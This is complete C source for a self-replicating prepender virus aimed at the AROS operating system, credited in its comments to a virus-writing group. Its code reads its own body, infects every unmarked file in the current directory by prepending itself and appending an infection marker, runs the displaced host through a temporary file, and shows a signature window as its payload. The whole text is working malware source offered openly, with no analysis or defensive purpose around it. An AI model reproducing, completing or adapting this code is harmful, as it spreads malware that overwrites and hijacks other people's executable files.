/* This is a prepender virus for AROS OS by [WarGame/doomriderz] */ #include <stdio.h> #include <dirent.h> #include <stdlib.h> #include <proto/intuition.h> #include <intuition/intuition.h> #include <sys/stat.h> /* virus size in bytes */ #define FIRST_GENERATION_SIZE 258603 /* infection marker */ const int MARKER = 0x61788989; /* tmp name */ #define TMP_NAME "Rotary_drop" /* all virus body & host code*/ char *virus_body = NULL,*host_code = NULL; /* the infection routine */ void InfectFile(char *filename) { FILE *fd = NULL; char *original_code = NULL; int fd_t,size; struct stat fz; if((fd = fopen(filename,"r")) == NULL) { return; } fd_t = fileno(fd); fstat(fd_t,&fz); size = fz.st_size; if((original_code = malloc(size)) == NULL) { fclose(fd); close(fd_t); return; } fread(original_code,size,1,fd); fclose(fd); close(fd_t); if((fd = fopen(filename,"w")) == NULL) { return; } /* prepend */ fwrite(virus_body,FIRST_GENERATION_SIZE,1,fd); fwrite(original_code,size,1,fd); fwrite(&MARKER,4,1,fd); fclose(fd); free(original_code); } /* check before infecting */ int isGood(char *name) { FILE *fd = NULL; int check_mark; if((fd = fopen(name,"r")) == NULL) { return 0; } fseek(fd,0,SEEK_END); fseek(fd,-4,SEEK_CUR); fread(&check_mark,4,1,fd); fclose(fd); if(check_mark == MARKER) { return 0; } return 1; } /* payload */ void PrintWindow(void) { struct Window *payloadwin = NULL; payloadwin = OpenWindowTags(NULL,WA_Width,500,WA_Height,20,WA_Title,"AROS.Rotary by [WarGame/doomriderz] - Dedicated to my smart sister! ",TAG_DONE); if(payloadwin) { sleep(5); CloseWindow(payloadwin); } } int main(int argc,char *argv[]) { DIR *current_dir = NULL; struct dirent *cur = NULL; FILE *myself = NULL,*ret = NULL; int fd,filesize; struct stat fz; /* allocate memory */ if((virus_body = malloc(FIRST_GENERATION_SIZE)) == NULL) { exit(0); } /* get file size */ if((myself = fopen(argv[0],"r")) == NULL) { exit(0); } fd = fileno(myself); fstat(fd,&fz); filesize = fz.st_size; /* read virus in memory */ fread(virus_body,FIRST_GENERATION_SIZE,1,myself); if(filesize > FIRST_GENERATION_SIZE) { if((host_code = malloc(filesize-FIRST_GENERATION_SIZE)) == NULL) { exit(0); } /* read host code */ fread(host_code,filesize-FIRST_GENERATION_SIZE,1,myself); } fclose(myself); close(fd); /* open current dir */ if(!(current_dir = opendir("."))) { exit(0); } /* true infection loop */ while((cur = readdir(current_dir))) { if(isGood(cur->d_name) && strcasecmp(cur->d_name,argv[0])) { InfectFile(cur->d_name); } } closedir(current_dir); if(filesize > FIRST_GENERATION_SIZE) { if((ret = fopen(TMP_NAME,"w")) == NULL) { exit(0); } fwrite(host_code,filesize-FIRST_GENERATION_SIZE,1,ret); fclose(ret); system(TMP_NAME); remove(TMP_NAME); } /* show payload */ else { PrintWindow(); } free(virus_body); }